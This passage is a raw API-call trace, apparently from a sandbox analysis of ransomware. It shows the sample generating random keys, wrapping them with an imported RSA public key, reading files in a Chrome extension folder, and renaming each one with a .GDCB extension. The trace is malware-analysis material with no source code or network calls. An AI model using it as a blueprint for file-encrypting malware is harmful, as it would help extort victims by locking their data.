(hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.800] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0272.801] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a560) returned 1 [0272.801] CryptGetKeyParam (in: hKey=0x679a560, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.801] CryptEncrypt (in: hKey=0x679a560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.802] GetLastError () returned 0x0 [0272.802] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.802] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.803] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.805] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.808] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x6cd, lpOverlapped=0x0) returned 1 [0272.822] VirtualAlloc (lpAddress=0x0, dwSize=0x6d0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.828] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.gdcb")) returned 1 [0272.834] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0272.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.839] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.840] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.840] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.840] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0272.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.845] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.845] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.845] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.848] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a660) returned 1 [0272.848] CryptGetKeyParam (in: hKey=0x679a660, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.848] CryptEncrypt (in: hKey=0x679a660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.848] GetLastError () returned 0x0 [0272.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.848] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.850] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a420) returned 1 [0272.850] CryptGetKeyParam (in: hKey=0x679a420, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.850] CryptEncrypt (in: hKey=0x679a420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.850] GetLastError () returned 0x0 [0272.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.850] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.852] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.857] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x32a, lpOverlapped=0x0) returned 1 [0272.867] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.873] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.gdcb")) returned 1 [0272.879] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.884] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.884] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.884] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.887] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.889] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.889] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.889] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.892] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a6a0) returned 1 [0272.892] CryptGetKeyParam (in: hKey=0x679a6a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.892] CryptEncrypt (in: hKey=0x679a6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.892] GetLastError () returned 0x0 [0272.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.892] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.894] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a5a0) returned 1 [0272.894] CryptGetKeyParam (in: hKey=0x679a5a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.894] CryptEncrypt (in: hKey=0x679a5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.894] GetLastError () returned 0x0 [0272.894] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.894] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.895] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.898] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.900] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x114f0, lpOverlapped=0x0) returned 1 [0272.911] VirtualAlloc (lpAddress=0x0, dwSize=0x114f0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.918] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.gdcb")) returned 1 [0272.922] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0272.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.927] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.927] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.927] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.931] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.931] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.931] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.933] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a4a0) returned 1 [0272.933] CryptGetKeyParam (in: hKey=0x679a4a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.933] CryptEncrypt (in: hKey=0x679a4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.934] GetLastError () returned 0x0 [0272.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.934] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0272.935] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a620) returned 1 [0272.935] CryptGetKeyParam (in: hKey=0x679a620, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.935] CryptEncrypt (in: hKey=0x679a620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.936] GetLastError () returned 0x0 [0272.936] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.936] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.937] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.940] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.942] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x1109, lpOverlapped=0x0) returned 1 [0272.957] VirtualAlloc (lpAddress=0x0, dwSize=0x1110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.963] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.gdcb")) returned 1 [0272.966] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.971] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.971] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.971] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0272.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.975] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.975] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.976] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.978] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a3e0) returned 1 [0272.978] CryptGetKeyParam (in: hKey=0x679a3e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.978] CryptEncrypt (in: hKey=0x679a3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.978] GetLastError () returned 0x0 [0272.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.978] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.980] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a260) returned 1 [0272.980] CryptGetKeyParam (in: hKey=0x679a260, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.980] CryptEncrypt (in: hKey=0x679a260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.981] GetLastError () returned 0x0 [0272.981] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.981] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.982] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.985] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.987] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x440, lpOverlapped=0x0) returned 1 [0272.994] VirtualAlloc (lpAddress=0x0, dwSize=0x440, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0273.000] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.gdcb")) returned 1 [0273.004] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0273.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.008] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0273.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.008] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0273.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.013] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0273.013] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.013] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0273.015] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a160) returned 1 [0273.015] CryptGetKeyParam (in: hKey=0x679a160, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.015] CryptEncrypt (in: hKey=0x679a160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0273.016] GetLastError () returned 0x0 [0273.016] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.016] CryptAcquireContextW (in: 